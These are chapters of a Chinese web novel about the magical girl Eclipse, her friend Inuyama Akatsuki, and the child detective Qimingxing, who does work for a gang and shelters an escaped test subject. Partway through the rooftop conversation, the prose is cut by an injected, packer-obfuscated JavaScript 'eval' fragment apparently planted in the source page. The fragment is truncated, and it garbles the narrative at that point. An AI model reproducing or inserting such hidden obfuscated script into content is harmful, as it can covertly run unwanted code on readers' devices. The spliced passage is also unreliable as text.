除去专门负责这一区域的邮递员和一些熟客以外基本不会有人往这里投递信件,若是有意外情况便会有人从店内的座机电话号码留言,艾克里普拿到的信件都是需要她打开看的重要信息,不会出现收到传单或者垃圾邮件的情况。 最上面的一封来自一位被介绍来的客人,介绍人是那位植物学教授,对方请求提供一种地下室里存放着的枝叶的粉末样本,报酬为与信件一同寄来的一张支票。 那植物并不算是特殊物种,只是因为生长地区环境常人难以抵达并采摘而额外稀有。 艾克里普想了想便同意了,她抬手招来粉末瓶,匀出约10克的量封进密封袋中,写好回信和注意事项,将来信与其一起放进一个新的信封,封号放在一边。 第二封信的收件人并不是艾克里普,而是夜藤事务所负责人,写信人自称为夜藤夫妇的表亲,信的内容很长,简单概括便是那边因血缘关系希望收回店铺。 她随意将信烧掉了。夜藤夫妇在世时不曾留下后代,也不曾与她提起自己的家人,那样倔强的脾气想必也与二人的家庭有着一定的关系。这栋楼在市中心算不上什么优质房产,但还算有一定价值,艾克里普并不是第一次收到这样的邮件,也并不在乎。 第三封信来自于那位偶尔会与艾克里普聊天的侦探,启明星。信封包装很讲究,甚至滴了蜡,但打开后可供阅读的内容很短: 艾克里普小姐亲启, 多日前我曾提及过本人之前长期追查目标的线索指向了您所经营的事务所,故上门造访。但近日我发觉其本质上与您并不相关,特写此信向您表达歉意。虽然目标外在表现的生物特征与您店里的一些植物效果有所重合,但本质上确有不同,更偏向人体特征, 我将继续追查事件,近期异常现象增多,是因为有人在刻意维护这种混乱的现象。后续您若是还感兴趣便将回信明早放在门口即可。 启明星 艾克里普对这位侦探有印象,几天前,她深夜晚归,看见一个小姑娘坐在店门前的楼梯上撑着脑袋坐着,看见自己后便迅速站了起来,像模像样地理了理身上的西装走上前打招呼。 即使在夜色之下,对方被遮起的右眼和手里的拐杖也惹人瞩目。 “我的名字是启明星,是一个侦探。”看上去身高顶多是个小学生,声音虽然刻意压低但也能听出是小孩子的启明星这样说着向艾克里普这样介绍自己,“抱歉在这种时候与您初次见面,但我现在可以与您谈谈吗?” 这实在是出乎意料的拜访者,艾克里普一时不知道对方到底是打赌输了还是离家出走。 当时已经是深夜,艾克里普并不感到疲倦,但考虑对方现在这个时候明显不应该在外面待着,艾克里普便让她进一楼坐一会,并询问她的来意。 “感谢你的允许,是这样的,”启明星的右眼被黑色的眼罩遮住了,但另一只眼睛是相当明亮的暖棕色,“我作为侦探正在追查一个目标,其特征为‘如野兽一般行动,勉强看得出是人型,对人类抱有攻击性,会主动躲藏,出没在市中心区域’,我在寻找线索时发现了您的店铺,说实话我感觉很可疑,于是想进来看看。” 哪怕是身处陌生的环境,启明星也并没有表现出不安或者以自己的样貌年龄该有的表现胡作非为,反而直截了当地表明了自己的来意。 “你好,启明星侦探,我是事务所负责人艾克里普。”她便也郑重地向对方介绍起了自己,“如你所见,夜藤事务所实际上并没有那样奇怪的东西出现。” 即使对方看上去年龄尚浅,但艾克里普并没有因此而随意敷衍她,反而对于对方的行动力和观测能力感到欣赏,同时也疑惑谁会委托这样的孩子调查案件? 而对方口里的“目标”便大概是魔物了,艾克里普心里思索着市中心附近居然有能逃过她的巡查的魔物,准备送眼前的孩子走后去清理一番。 “就现在来看确实是这样。”启明星面色不变地微笑着说,“接下来可以让我去地下室和二楼看看吗?” 艾克里普并没有预料到对方这样没有丝毫魔力气息的孩子能察觉到自己掩盖起来的入口处,不由得有些惊讶。 “很遗憾不可以,那里是私人区域哦,”艾克里普摇摇头,“不过我可以向你保证你提及的东西并不在这里,或许不久后它便会自行消失了吧。” 听到这句话的启明星歪着脑袋想了想,艾克里普被她看着时有种被观测的感觉。 “我明白了,艾克里普小姐,抱歉打扰到您,”启明星笑着站了起来,“感谢今晚的配合和招待,时间不早了,请早点休息。” “你是个有礼貌的客人呢,辛苦了。”艾克里普将对方送到店门口,注视着对方的右手拄着的拐杖,“你家住的远吗?” “不必在意我的安全问题,我有保镖,也感谢您没有因我的外表而拒绝我的请求。”启明星回头礼貌地告别,“这件事不会就此结束,今晚请早些休息吧。” 艾克里普明白对方应该是发现了些什么,但这也不是第一次有人察觉到这里的不同了,若是对方心怀不轨自己总会有办法应对的。 “如果还想找我就写信放在我门口吧,不要再这么晚来找我了。”她说 这便是二人上一次见面的对话,当天晚上艾克里普巡查了整个市中心,但并没有发现新的魔物,而那些潜伏在城市中她暂时不方便动手的也与启明星提及的特征不符。 不过考虑到她之前居然会错过同城市的其它魔法少女的踪迹,此时不免对自己的结果有些怀疑。 后续因日之森的开学她没有再继续纠结这件事,此时收到这封信她有些想法,提笔写了回信,大致意义就是说让对方注意安全有困难就找她,并不再打算主动涉及这件事。若是不出意外那位委托她的雇主也是个好事之徒。 那个孩子若也是个学生这个时候也应该开学了才对吧,艾克里普整理信封时这样想着。 城市中或者说世界上似乎有着许多其它势力对于魔法有所图,那些人实际上有所图的并不是魔法,而是利益。 艾克里普从前四处收集魔法物品时实际上也处理过不少这样的事,许多贪心的人会收集,研究魔物,或者是招募魔法使用者为己用。 这些事情艾克里普不会特意去管,因为这些人结果基本上都是自讨苦吃。 魔物的一切对于没有魔力资质的普通人类来说都是致死的,虽然说视魔物的类型来看初期会有不同的效果,但结局却是一致的。魔力过高的消耗吞噬人类的身体机能,但人类是不能吞噬或驱使魔力的。反倒是一些含有魔力的物品可以更为轻易地被人类使用,但人类通常难以发现它们。 人类在没有觉醒魔力的情况下无法“消耗”魔力,但魔力进入人体内部后却对其造成消耗,伤害,异化,就像是癌细胞,人体因无法处理这些状况而走向衰弱只是时间问题。 所以大部分执着于使用魔力进行人体实验的疯子很快就会被其特性劝退。 虽然不知道启明星的委托人是谁,目的是什么,但艾克里普并不太在意,她反而有些忧心启明星的安全问题,不过她看似弱小但一定也有自己的底牌,不然也不会半夜一个人跑来夜藤事务所的店门口坐着了。 而若是真的有太多的魔力物品或者魔物研究导致的魔力聚集在一起,那么便会发生意想不到的灾难,这种情况下艾克里普便会前往阻止,但就像之前说的那样,已经许久不曾如此了。 而那些魔法使用者虽然被艾克里普视作为同类,但她并不会因为如此便不顾一切地去保护那些人,说到底人是个体,个体的选择是自由的。只是若那些人陷入困境或者被利用,那她也不会坐视不管。 就魔法少女的身份而言,她实在是太过强大了,魔物,势力或者人在她眼里是平等的弱小,这座城市在她的保护下定然不会出现大的差错。 只要不触及规则禁令,无论是消灭魔物还是摧毁敌人只不过是她随意顺手的事。她现在更愿意花费心思和时间去推进自己目前的目标,也就是以日之森学生的身份尝试去融入这她一直以来都远观着的人类社会,并保护好崭新的友谊。 想到这里,她又开心地考虑起了乐队的事情。 夜间,犬山晓在从市区回宿舍的路上遇到了似乎正在夜巡的艾克里普。 按照人口密度来说,市区的魔物往往会比其它地区的数量更多,但她一直以来都没有发现这种迹象,现在她才明白是有艾克里普作为暗中的保护者。 “晓,这里!这么晚了还在外面吗?”艾克里普也察觉到了犬山晓,惊喜地从高处向她招手打招呼,犬山晓见状也直接跳上天台。 “正在回去的路上,艾克里普也在夜巡吗?”犬山晓好奇地问。 说到这方面,艾克里普不免想起之前启明星说的事,她不想让新的同伴为此感到担心。 “只是在吹吹夜风而已,城市下方虽然总是很吵,但站在高处的话感受就不错了。”艾克里普指向远方的城市灯火。 犬山晓顺着方向看去,无论何时都不会停下的车流和行人组成了风景的一部分。 “尤其是在夜晚,不过这份风景已经有三十多年没有变过了。”艾克里普望着远方说,她的语气里没什么感慨的意味,也没什么怀念,只是在分享这一事实,似乎不会随时间变化的风景在她看来是理所当然的。 “三十多年,艾克里普在这里住了这么久了吗?”犬山晓对此感到意外,她自认也算对这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些太遥远太模糊,而这些却又恰恰是那些真正作为一个人必须去考虑的东西。每每想起这些犬山晓都烦恼到头疼,索性便先放在一旁不管了。 可现在她的眼前有一位如此资历深厚的社会上的前辈,她实在是忍不住想问一些问题,这些问题她甚至不敢问老师,因为她不明白这些是不是蠢问题。 “工作是什么样的呢?和作为学生有什么区别吗?”犬山晓好奇地问。 “我也没当过多久学生,不过工作的话大概就是做好自己需要做的事吧,我当学徒时学到的东西都是工作中要用上的。”艾克里普思索着说,“晓已经在想未来的规划了吗?” 不,恰恰相反,犬山晓心想,她是因为不愿意去想未来的规划才从别人那里索取答案的。 她害怕着自己身上与常人不同的地点被发现,于是就连这样的问题都不敢问出口,好在艾克里普与她同样有着与众不同的地方,她才寻求帮助一般地问出了这个问题。 其实这个时候直接坦白:我完全没有准备好!就可以了,可“越是缺少什么越是装作不缺什么”的道理平等地光顾所有人的语言系统。 “对的,早点准备总归是好的吧?”犬山晓面不改色地说,她心想自己应该少问问题的。 “哎,这样吗?”艾克里普却反应平平,“我们的未来如果从现在就开始考虑的话会不会太早了呢?” “为什么这么说呢?”犬山晓半是好奇半是期待地问。 “因为高中很短暂吧,只有四年,我们一起度过的高中生活只会有四年。”艾克里普忧虑地说,“四年时间实在是太短了,哪怕我们高中之后依旧还在一个城市,那也不过是再加上四年大学生活而已。而且我们也不一定能一起读大学吧?” 艾克里普语气里那对“四人一同生活的时间刚刚开始就害怕它结束”的感情浓烈地无法忽视,但也有着期待在其中。 于是犬山晓意识到对方与自己完全是两个极端,她无法从艾克里普身上找到自己可以参考的答案。 “如果现在开始考虑工作的时候会发生的事情的话,时间会过去的更快的!”艾克里普对此非常不情愿,语气都低落了下来。 “这样吗?”犬山晓愣了愣,随即笑着说,“我们哪怕分开了想再相见也很简单的吧?” 毕竟即使不谈魔法,现代中哪怕跨越海洋也不过是需要十多个小时的飞行而已。 “确实呢。”艾克里普说,但眉间的忧虑依旧没有散开。 犬山晓不禁觉得自己提了个很坏的问题,她想了想准备用另一个话题转移二人的心情。 “不过没关系,我会想办法的!”艾克里普的心情忽然就转晴了,犬山晓见状也没再说什么。 无论是普通的办法还是不普通的办法,只要奏效了就是好办法,艾克里普对此深信不疑。 “说起来,艾克里普的魔法特征是什么呢?”犬山晓问道。 “这个啊!”艾克里普吓了一跳,因为这实际上是比较私密的问题了,就好像问你血型是什么一样,可她很快反应过来这是因为对方同样作为魔法少女对自己十分信任。 犬山晓正直的眼光看着她,于是她虽然有些害羞,但还是很快作答了。 “其实我也不知道我的特征是什么,可能我没有显性特征吧。”艾克里普理了理头发,“毕竟我作为魔法少女的使命是保护这座城市,这座城市中的的一切都算是我的所作所为的体现了。” 魔法少女的特征即是魔法少女本身魔法的具象化,也是其成为魔法少女的契机和原因的具象化。 艾克里普一直以来从未在自己的身上找到过类似于这种东西的存在,但她也明白自己并不是普通的魔法少女,同时不需要特征的支持也足够强大,所以也并没有将此放在心上。 “是这样吗?艾克里普像是这座城市的骑士一样呢。”犬山晓笑着说。 “那我很荣幸哦?”艾克里普也笑了,“晓呢?晓成为魔法少女的契机是什么呢?” “我的特征是身体强化,无论是受伤后修复还是使用血液作为媒介使用魔法效果都非常好。”犬山晓划破指尖,血液在半空中挥舞出“你好”的字体,“所以我的战斗方式也倾向于依靠附加效果进行攻击” 艾克里普一脸认真地听着,犬山晓见对方没有异色心里松了口气,与普通的魔法少女不同,使用血液作为媒介是她一直以来摸索出的最有效率的战斗方式,但她也清楚这种方法在常人眼里多多少少是有些病态的。但若是自己的同伴并不对此感到排斥,那她便也没有隐瞒的必要了。 “原来是这样!以强化身体为主,真是与你相称的返璞归真的做法,操控血液也可以训练身体加速恢复吧,晓在训练自己这方面很努力呢。”艾克里普谈起这种话题显得兴高采烈,“而且我能看出晓很有经验哦,现在已经是可以独当一面的魔法少女了!” “在很小的时候我在孤儿院生活,但那个时候我的身体很不好。”犬山晓很快速地简略概括了自己的过去,“我成为魔法少女的契机就是想要治好我身上的病,因为变强需要狩猎魔物,我就自己离开了孤儿院。” “那晓是在很小的时候就成为了魔法少女吗?真是了不起!”艾克里普感慨地说,“小时候的战斗很惊险吧,一直以来辛苦你了。” 艾克里普发自真心地说出了这样的话,在她看来人类在幼年都是无比脆弱的,但同样年幼的犬山晓在成为魔法少女之后居然坚强地活了下来,这令她感到十分敬佩的同时也心生感激。 一定是奇迹,艾克里普心想,是奇迹的出现才让她们彼此相遇。 而犬山晓也明白对方的言语发自真心,过去的经历固然可怖,但她认为那些都已经过去了,是因为那些经历她才有机会在这里遇到她的同伴。 “那些都不重要了,重要的是现在不是吗?”犬山晓笑着,看向远方的城市。 艾克里普也看了过去。 在听不到吵闹声的地方,城市是很美丽的。 9. 间奏-启明星与六十七号 市区南部商业区临着中心湖,其面积几乎与市区面积差不多大了,但不同的人对“市区”的理解有着不同的偏差,而湖的面积则并不会因人的看法就多出来一块。 坐在商业区靠东南角的咖啡店往远处看,由中心湖衍生出的河道,又或者说是海洋刺入板块中的河流,引导着人的视线往东边走,虽然说与东部的城区不同看不到整片的海洋,但也能欣赏到被细心规划好的居民区围起来的中心绿地公园。 天气好的时候会喘气的都会一拥而上,穿过那几座桥,绕着中心湖或绿地公园跑上好几圈,或者说找个好地方坐下享受一下阳光和蓝色的天空,当然,前提是没有正事要干。 可惜这并不是一个晴天。 “噗通——”这是重物落入水中的声音。 “哗啦啦——”这是雨点砸中水面的声音。 在这两种声音传入耳中之后,启明星感受到了有雨滴刺中脸部皮肤,凉意不带遮掩,她抬起头,发现天气预报意料之外的雨果然还是来了。 这座城市下雨的时间并不多,大多数集中在深秋或者早春,天气晴朗时根本瞧不出这里的雨季是那么的令人憔悴,下雨的时间不多,但一下起来就没完没了了。 东流湾的雨来也匆匆去也匆匆,但雨点总是很急,和这里的卸货工人一样。 而启明星就是那种天晴的时候不会因蓝天而感到开心,下雨了却会感慨“怎么又来了”的人,而更糟糕的是,她今天有着还算重要的工作,并且她现在身处于离自己事务所28公里以外的地点,回去时糟糕的路况几乎就摆在她眼前了。 但至少现在,她能因为出发前的5秒思考后带上风衣的决定而带上风衣后的帽子。 “那么这一批货物就处理完毕了,辛苦您来一趟码头。”刚刚在一旁打电话的负责人带着电话走了回来,她的电话还没有挂断,显然是电话那边的人还有什么话想说。 货物就是刚才被负责人带着的那几个人一起扔进东流湾的几个1立方米左右的箱子,里面的东西很杂而且不太方便见光,启明星花了不少时间找到它们的下落。 那就不卖关子了吧,启明星目前的工作是“来自市区地下赌场东家的委托”,工作内容是“找到丢失的东西”,听上去和找走失的猫差不多,但猫的行踪更无从下手一点。 启明星空着的左手理了理帽檐,点头致意,接过了对方手里的手机。 “这里是启明星侦探,有什么可以为您效劳的?”她用自己那招牌的自我介绍打招呼。 电话那头声音很嘈杂,有人在吵架,似乎是发怒了想让自己看上去有气势些,有人在笑,似乎是死到临头了,根据自己目前合作对象的背景来说,那里大概率是赌场。 “启明星侦探,请让我为您的行动效率致谢,”电话那头的男士哪怕是在道谢也有种在朗读诗书的文雅感,“很难想象若是没有您的帮助,这笔账目要被这里的管理者藏到什么时候。” “承蒙照顾,找出真相是我该做的。”启明星笑着回应。 “相信您也察觉到了,这一次的委托与上一次的委托有着不小的联系。”电话那头的声音没有变动,但背景声更嘈杂了。 启明星顿了顿,她看向那位负责人,她低垂着眼睛没有动作。 作为侦探,启明星唯一无法找出真面目的雇主只有那一位,现在电话那头的男士虽然声音像个文字工作者,但身份却是不折不扣的帮派成员。 一二七,一是姓氏。 一家族的直属干部以及以上的管理层成员会在正式接手身份前改名,以一为姓氏,剩下的交给一个十面骰子。家族首领为四字,二把手为三字,干部为二字。 顺带一提,现在的家族首领名字是一二三四,据启明星所知,这位被自己的祖母指定为继承人的年轻人在数百人的见证下,张开手,一次性扔下三枚骰子,一字排开从左到右是二三四。 不过这并不是她能触及的人,被其二把手作为“高级合伙人”邀请合作处理各种不方便找内部人员处理的事务已经不是第一次了,双方都得到了自己想要的东西,这就足够了。 但这一次,对方却第一次有了委托评价阶段。 “您提起这里我很难办的,委托已经完成了,难道您想要分期结算委托金吗?”启明星为难地说。 “…并不是这样的。”一二七义正严辞地否认了。 启明星心想这人真是一点幽默细胞都没有。 “我们的首领正在接受很多人的质疑,这些只是一部分,我认为您有能力协助她解决更大的麻烦。”一二七严肃地说。 但这是启明星不想让对方说出来的,毕竟完成委托事小,和□□真正扯上关系事大,拒绝□□更是一种不要命了的选择。 虽然长期的合作让启明星断定一二七并不是一个会因为被拒绝就恼羞成怒的难缠的家伙,但他并不是家族里说了算的那个人,除了首领以外还有干部,其中哪怕有一个觉得她“不给面子”都会给她带来超大的麻烦。 而且,启明星觉得电话那头实在是有点吵了。 “喂——”一位声音格外洪亮的女人成功压下了众多杂音,“你手别放在后面,给我把手放在桌上。” “别,别逼我们!”一个声音相当颤抖的男人开口,隔着扩音器都能拧出冷汗来。 “看来您那里现在面临着混乱,那我先不打扰您了?”启明星适时提议道。 “…总而言之辛苦您了,我会让那里的人送您回去,以后再聊。”一二七礼貌而迅速地挂断了电话。 启明星微笑着将手机递给一旁的负责人,她伸手接过。 “所以,出了什么事了?”启明星看着她问。 这位负责人是她的眼线之一,她听到问话后表情没有丝毫的不满或抗拒。 “主要原因是另一个家族出现了供货问题,不过这方面我不太清楚了。”负责人叹了口气,“另一方面,一二三四首领最近在催促各部门落实设施革新,干部都是上一代的人了,为了搞懂首领大人说的是些什么东西最近都在网上补课。” “哦!那位一二三四首领的实权比我想象中的高嘛。”启明星意外地挑了挑眉。 “毕竟是那位大人指定的继承人,无论如何大家都会接受的啦。”负责人说起这里笑了。 “那位大人”并不是什么不可言说的存在,启明星知道一家族的成员多多少少都对上一任首领,一二三三,抱有极大的敬意与崇拜,时间往前推三十年的话,说她能使用魔法都是会有一大堆人信的吧? “最近的麻烦事真是一桩接一桩。”启明星这样说,脸上却不见疲惫,反倒是兴致勃勃。 虽然说来自□□的委托伴随着风险,但也同时会为她带来大量的财富和名声,鱼与熊掌不可兼得,但若是付出一定的代价那也并不是完全不可能。 启明星虽然认为自己的安全是最重要的,但在衡量之后并不畏惧付出代价,哪怕那是她自己的人身安全。她能将自己的事务所从零开始发展到如今这个规模,靠的当然不仅仅是一颗聪明的小脑袋瓜。 “年轻真是好啊,精力充沛的。”负责人感慨说。 “当你是在夸奖我了,不过请注意,年轻的人精力也不一定都是充沛的。”启明星说,毕竟她的外表年龄无论如何都没法说是大的。 “那接下来就回去了?再晚点就要赶上晚高峰了。”负责人问道。 “可以,走吧。”启明星说着,提起拐杖。 回去的路没有走高速,而是沿着那从东部海洋流进城市的河流的中心河道走,车不算多,启明星坐在靠左侧的车后座,看着窗外的河岸思考。 每隔几分钟视线内都会出现一座桥,所有的桥都是一个构造,但在这里的居民眼里似乎是有所不同的,当地的庙会组织以桥为单位分割了活动地点,不下雨的时候夜晚会很热闹。 而也有部分犄角旮旯里无人在意的桥,年久失修的路面与青苔共存,形成了一些艺术爱好者会喜欢的场景。 而启明星也是在这样的一座桥的桥洞里遇到了从实验室中逃出来的六十七号。 那头也是这样一个一样看不到雨停的天气,河岸边的地砖会随机出现几块让人踩下去后溅起水花的惊喜,泥土和草混着河流的腥味一起拒绝外人的到来。 那时的启明星穿着皮鞋,从十米开外就注意到了掩盖得不成气候的脚印和血迹,她认真地思考了对方能活到雨停下来之后的可能,可惜根据她的推算,那人大概已经有两天左右的时间没有吃到正常的食物了。 不知道实验室是否有教会他光合作用?启明星那时这样想,但很快她就想起来那场雨已经下了三天了。 私自隐瞒雇主委托进度的后果是什么?根据雇主的洞察力和身份背景来看,可以简单地分为什么事都不会有,或者丢掉性命。那位通过电子邮件和不记名支票下达委托的客户无法让启明星断定对方会如何。 反过来也是一样的,也就是说,在雇主发现她所做的一切之前,她会什么事都没有,但被发现后就会有一定概率丢掉性命。 而以自身安全作为重要行事原则的启明星当然没有可能为一个不知名的家伙沾上哪怕一丁点送命的概率,她甚至不需要去碰那个不知道多久没洗澡的家伙,只需要远远地拍个照,发一份邮件,等到雇主发来“委托完成”的美妙信息,她就可以离开这里去找人把沾上泥的皮鞋清理了。 而她这样想的也这样做了,以桥洞为圆心,启明星以三米为界限小心地握紧了手里的拐杖,一边敲击着砖块一边往前走。 那蜷缩着与被打落的蛛网纠缠在一起的一团缩在阴影里,如她所料的那样散发着生物臭气,但出乎她意料的是,那因高烧而发热的躯体正以远超一个虚弱的流浪汉该有的状态起伏着。 那意味着他正在呼吸,他的身体正试图修复自己。 可他是哪里来的能量?启明星前两天从未发现市区有因“不明流浪汉袭击”而丢失物品的小商贩,当然这也是因为本地的秩序守护者勤奋工作的原因,可除了这个方式之外他就只能像个原始人一样尝试在市区政府精心策划的都市生态圈里捕食了。 但那也是不足够的,无论是流浪动物还是蜘蛛都无法提供一个成年男子三日的能量需求,更何况他还受了枪伤,哪怕是注射过类似生长激素的药物也需要足够的热量支持才能起效。 那么是谁,或者说是什么,在给他提供热量呢?启明星不由自主地开始想这个问题。 可这并不是他应该做的事,好奇心对她而言通常是个不请自来的客人,虽然上门时会记得带礼物,但既不会挑时间也绝不敲门。 好在那份礼物从不叫启明星失望。 她试探着往前走,这部分离河床近了,自然与现代化的边界过于模糊,芦苇与塑料袋纠缠在一起,雨滴奏乐,鸟与青蛙无视乐理美感自顾自地歌唱。启明星不喜欢这种白噪音,只是用拐杖试探着地面,小心地分开妨碍她前进的杂物。 三米的界限被设定者主动打破了。 那黑色的一团在阴影里蜷缩着,起伏动作过大,让他看上去像是某种抛下□□独自生活的心脏。 借着不太明亮的光线,启明星打量着那一团大概是她的最终目标的生物。衣物破烂不堪,可以依稀看出那曾经的样式与病号服差不多,但如今已经被不知名污渍侵染了,他没有穿鞋,头发隐约看得出是委托邮件中列出的蓝。 但他所有裸露在外的皮肤上,没有丝毫的伤口。启明星确认了这一点之后,感觉自己的心脏也逐渐跳动地愈发快了。 大约是察觉到了启明星的靠近,那人的四肢艰难地移动了起来,看动作似乎是想把自己撑起来,或者说想护住头部。 “你?”那人的视线从头发之间穿过,看见一个人逆着光站在桥洞口,身高和她身后的芦苇差不多。“…离开,这里,离开。” 启明星听着他那断断续续的说话的声音,觉得对方八成是把她当成碰巧来这里冒险的小孩子,虽然说在某些程度上她们确实是相似的。 那么,这里应该如何开口说明来意呢?启明星难得在这方面感到有些无从下手,她擅长说服一个人,但若是对象并不是人类的话,那就与她的专业相驳了。 “你还能活多久?”想来想去,启明星还是决定不和这人绕弯子了。 “…什么?”那人明显没意识到自己在被提问。 “如果我给你提供食物和医疗的话,你还能活多久?”启明星补充了一下条件。 正常人发烧之后脑子都转不快,更别提这还不是正常人,他觉得自己和世界上的一切声音都隔了一层膜,只隐约听见了“食物”两个字。 “食物,你有食物吗?”那人似乎是想靠近启明星,但只是起身了一些。 难以交流的对象启明星没少见过,不过这次对方的沟通障碍似乎是生物性的,她想了想,从口袋里掏出了巧克力,玻璃纸里面是用锡纸包裹的松露球,含有少量威士忌。 “你能吃巧克力吧?”启明星将巧克力朝那人丢了过去。 那人看见有东西朝自己砸来也不躲,他艰难地用嘴接住,连着锡纸和玻璃包装一起咀嚼了起来,大概是这种口感和味道太独特了,他吞咽地很艰难。 启明星就这样看着,也不提醒对方包装不能吃,又扔过去了几个,他同样嚼了几下咽了下去。 “谢谢,很难吃。”他诚实评价道,身体的起伏逐渐平静了下来,高烧竟然就这样逐渐褪去了,人不是充电就能用的机器,但这人似乎有着相似的高性能。 “看来你还能活挺久的。”启明星满意地说。 “对!”这次那人倒是回应地很快,似乎能活很久这件事对他而言是值得高兴的。 “你没有稳定的食物来源,没有居住地,似乎也不打算这些东西烦恼。你不打算长久地维持自己作为人的身份,但你有短期的目标,这个目标是什么?”启明星问。 这些问题并不是合适的初次见面的自我介绍答疑,但启明星断定,眼前的人并不知道“不想回答的问题可以不回答”这一点。 “哦,是的。”果不其然,那人虽然觉得这些问题让他觉得为难,却并没有表达出反抗的意图。 “我有要做的事情,我要咬断我们老大的脖子。”他这样说。 “你们老大是谁?你为什么要这样做?”启明星问。 “我不知道!”那人说,“因为老大决定让我死去,我明明还能活很久的,所以我决定反抗。” 这位口中的“老大”是否是启明星的雇主还无法断定,但她对于“还能活很久”这一件事保持怀疑的态度。委托邮件内没有掩饰对方作为被研究的对象的身份,科学家对试验品的活性有着自己的判断,并不能简单地因为一时的表现或表面就写下结论。 “总之,你想活下去,想要复仇,对吧?”启明星可以断定这一点。 “…我可以吗?”说到这里,那人反而犹豫了起来。 这是他第一次与另外一个人正面沟通,他还未了解对不同的人说不同的话,只是将自己内心的想法对眼前的人表达了出来而已。 “做不做得到另说,但你确实可以这样做,毕竟你成功逃了出来,还遇到了我启明星。”启明星说。 说是遇到也不尽然,毕竟启明星看着地图规划出了对方的三条逃跑路线,桥洞是第二条。 说是逃出来的也不全是,毕竟六十七号自己也清楚自己根本不可能从实验室里逃出来,一方面有着艾克里普这样的存在为他的生存提供了保障,一方面实验室内也有着推手。 而同时也有她,启明星这样的慈悲为怀的热心肠收留无家可归的受试者,无视对方身上的异常和粗鲁的礼仪规范,宽宏大量地允许他使用事务所的杂物间休息,并提供良好的礼仪教育。 虽然说脑子很笨吧,但俗话说,侦探身边都要有个智商低于常人的助手在,这才能让所有观众都能理解侦探所说的内容。当助手他还不够格,但现在跟在身边已经没那么丢人现眼了。 他没有名字,但记得住实验编号是RP-h67,于是启明星就干脆叫他六十七号。 但可惜的是,六十七号因身体缺陷,目前还难以离开市区部分太远,所以启明星这才一个人离开工作室完成委托。 不过这也让启明星想起,她比起之前却是有了更多的选择权,在此之前她作为侦探或者中间人并不能选择自己的工作内容,但现在至少在市区她有了个不错的保镖。 车停靠在事务所楼下,启明星推开车门下车。 “有消息会和你说的!下次再见啦。”负责人说完关上车窗,驶离了该区域,黑色老型号轿车的引擎声音洪亮,吸引了不少路人的视线。 启明星目送对方离开,却总感觉隐隐有一股视线落在她身上。 那一种型号的轿车归属者大多是帮派的正式成员,虽然说现在大多数帮派活动都移到了看不见的地方或者干脆合法化了,但无论如何大家都知道街区的治安承包者并不是那些站在小亭子里的公安人员。 以1988年的一次南方城市大面积动乱为起点,许多经过认证的民间组织开始协助管理各个区域街道的治安,这里的市区中心就是典型例子。 出于安全问题,启明星隐晦地观测了一番四周,最后发现视线来自楼上:她的事务所内,六十七号在靠窗的高桌旁支着脑袋看她,察觉到她发现了还和她打了声招呼。 启明星也挥了挥手,决定把窗边的一切东西都撤掉。 窗户本就为了防窥贴上了特殊隔层,他这样一靠每个往上看的人都立刻就会发现事务所里有着这样的一个人。 “叮——”电梯停靠在启明星事务所门前,她走进等候区,发现给客人准备的糖果盘又空了,精制的金属艺术品往常都会放满至少半公斤的各类巧克力,软糖,焦糖,以及其它类型的糖果,全都不是市售品牌,而是是她自己从商业区的点心店精心挑选出的待客礼物。 那如艺术品般的金属盘本身是会略微制冷的,这也是启明星选中它的点。 “啊,你回来了。”始作俑者推开了事务所的门,按照她教的那样站在一边扶住门,等待她进入事务所内。 伴随着唱片机传出的蓝调音乐,事务所比起往常多出了些许真实的人气。 算了,至少现在看上去有个人样了,启明星在心里叹了口气,褪下风衣交给六十七号,他按照她教的那样将风衣挂在衣架上放进消毒区。 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谁问你这个了?启明星想这样说,随即她想起来这句话是她说的。 那头她在外面找了家私人诊所给六十七号进行全身消毒,给他换了正常人的衣服并带回了工作室。他在面对街道,人群,诊所的各种仪器与现代科技产物没什么反应,这让启明星省去了对他的社会化训练。 她本以为自己会遇到一个严重PTSD且无法正常沟通的实验体,但六十七号的模样反而令她觉得有问题,常人都有缺陷,他一定有着还未爆出的雷点。 六十七号没有主动问过任何事情,这给启明星省去了不少麻烦,但也偶尔让她感到怀疑这个人是不是有事藏心里不说。 那时他站在等候区,等着启明星打开事务所的门,启明星回头就看见他一直盯着糖果盘看,为了给新员工一个好印象,她说盘子里的糖果你可以吃。 然后她就发现自己每天出门回来后盘子里都空空的。 但这就是启明星感到奇怪的点,六十七号喜欢吃糖果,不挑选种类,但只吃糖果盘里的,哪怕他看见过很多次那个储物柜里的糖罐子。 哪怕是启明星让他拿着罐子,他也不会从中拿走一两个。 启明星曾经在第一次补糖的时候问过六十七号:“你喜欢吃这里的糖果是吗?” “是的!”六十七号回答的非常快乐,于是启明星就也索性不去管他吃糖的事情了,决定把甜点当作是员工福利。 但现在她在怀疑这人到底是喜欢盘子里的糖,还是因为她说过的话喜欢重复这个行为。 “你知道,储物柜里的罐子里的糖果你也可以吃吗?”启明星问。 “可以吗?我知道了,谢谢你!”六十七号高兴地回应道,态度很礼貌了。 “你为什么不问我,能不能直接吃罐子里的呢?”启明星又问。 “我可以吗?”六十七号迷茫地看向启明星。 萨克斯的乐声悠扬,混合窗外的雨声使氛围悠闲了起来。 启明星明白这是在问“我可以问你吗?”这个问题。 “可以,当然可以,你如果有问题请第一时间问。”启明星保持微笑回答。 “哦哦,好的。”六十七号回答得有些犹豫。 启明星明白问问题并不是每个人的专长,社会上多得是只会回答问题或拒绝回答问题的学生人,但有疑问总归会想办法调查清楚的。 只有还未接受教育的孩子会将陌生的东西当作世界中理所当然的一部分去接受,大多数人是无法接受自己完全不理解的东西的。 “你几岁了?我是说心理年龄,你有注射过生长激素什么的吗?”启明星问。 “我的话,目前为止的使用时间是12年,这也是所谓的心理年龄了吧,不过这是以我清醒的时间计算的。我确实注射过与生长激素类似的东西,按照设置的话我目前应该是23到25岁左右。”六十七号回答的非常细致,他没考虑过隐瞒,这一点启明星看得出来。 “…所以才一副从没出过门的的样子啊。”启明星心里又叹了口气,她卷起了袖子,走向办公桌打开电脑,给书单上又加上几本儿童读物。 